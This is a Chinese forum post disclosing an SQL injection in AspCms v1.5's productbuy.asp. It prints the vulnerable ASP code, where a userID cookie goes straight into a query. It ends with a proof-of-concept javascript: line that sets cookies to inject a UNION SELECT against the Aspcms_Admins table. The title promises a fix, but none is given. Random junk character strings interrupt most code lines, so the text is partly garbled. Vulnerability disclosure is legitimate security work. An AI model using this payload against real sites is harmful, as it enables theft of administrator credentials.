AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
- e3 R( F% k* {: j$ |5 W% c5 ]废话不多说，看代码：
( e8 V! b% L7 Y8 H
5 B' O. Y7 J0 h; [$ F7 n+ _# x+ Y& ]- I<%

1 Z4 n4 l* U1 R$ Z5 Mif action = "buy" then
9 W) H7 U1 ^, l9 ^9 }8 l+ Q3 X
" L* Y) p+ u3 ]9 l! ~$ t        addOrder()
# d: g* r8 E: R9 \. U) B3 _
else

$ L2 O. ^+ ~/ @& n% _* ?" H" u0 Q        echoContent()

4 X4 q: Y5 W$ \+ X+ A. H1 hend if


0 F1 T2 d: J/ P3 D: {" Q# `
……略过

( R. ~  W" y' M4 A

: A  j! P1 ?* f5 ?Sub echoContent()

        dim id

: P9 w0 G! N1 I# k        id=getForm("id","get")

) v9 C! K( F# _2 ~        

        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
" a) M, f  S  r- i# y; }% a
        
2 h9 H- v8 T+ ~  G
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

7 l5 t, N+ |% u5 l+ p        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

        Dim templatePath,tempStr
* q  W/ M2 [8 Z+ A# h
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
8 ~7 d, l3 I: q9 E3 D% ^$ n

' ~0 A0 z1 h: }7 T" m
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
) ^. p) M. |9 q! I- Z4 u, F; V
        selectproduct=rsObj(0)

8 M& V. ?& f7 U9 Y        

        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
2 X4 }# \6 y4 a; ^. i
        if rCookie("loginstatus")=1 then  
' x! l: M2 u; N% m# d& x
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

# k( s2 z% x3 O8 H0 D) I                linkman=rsObj("truename")

                gender=rsObj("gender")

& C1 \1 P' ]3 v9 h6 I/ B; H                phone=rsObj("phone")

                mobile=rsObj("mobile")
6 Y& B; s: \, R- N5 n: R+ s6 a9 j! T
                email=rsObj("email")
2 \8 P7 C8 _  O  T: {
! Q/ S6 a, I5 x) y' _7 R                qq=rsObj("qq")

                address=rsObj("address")

                postcode=rsObj("postcode")
6 d" \" w1 {+ W; j! Y: F
! @' \( l( _' |# l        else

. A. ]$ @' f( z3 m7 a                gender=1

        end if

, I5 I7 W7 G; ~/ L: k8 e, V        rsObj.close()
$ x7 _9 l6 O% [4 b, D
, U) y" ~1 A5 t9 R1 i2 Z4 m               

        with templateObj
; |0 k$ E# X2 S. Y5 w
) ~3 ~7 t" m$ g: H& q& J                .content=loadFile(templatePath)        
6 W6 E4 k8 c- }; T' P8 s
8 ]3 T6 y! J5 L: s! b$ K                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
' `5 P$ L# ]* c3 K
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
; i* [3 n; J) x4 ?7 ]
0 @4 A. i' o) M5 l% w4 |9 D- p                .content=replaceStr(.content,"[aspcms:gender]",gender)               

, M& I$ x7 y( K' j+ K* i3 T  o                .content=replaceStr(.content,"[aspcms:phone]",phone)               

3 N, ?4 u: E8 I. a' N8 D                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
' o! A6 q0 ~! U7 v( w
6 ?' E, h. u# s' e4 C2 Y# x                .content=replaceStr(.content,"[aspcms:email]",email)                        
3 o" x! {2 _: k
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

" u7 ^) w& L. |                .content=replaceStr(.content,"[aspcms:address]",address)                        
0 s" M6 I7 O+ t! H+ Q$ u
3 G' m4 f. S- R7 c                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
" z" s3 y& G. l8 o4 |( I+ z) s
& ^0 E. }% x" n0 p                .parseCommon()                 
- P& L( H5 B& t
! [/ e( [/ I7 k+ g# x+ ]! B                echo .content
2 [8 k0 _! B) Z+ a# C; [* u
        end with
; I5 `) ?. A6 n/ G
2 Q( ?4 F8 ?# q, L7 f        set templateobj =nothing : terminateAllObjects

% d6 r( y% H* R8 X9 L8 ?End Sub
漏洞很明显，没啥好说的
/ P% L4 r& k7 X4 D; F9 W0 K( B( Ipoc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
# @$ k: Y) m2 R. P9 \5 f
& P% Z1 I7 [( W$ e6 S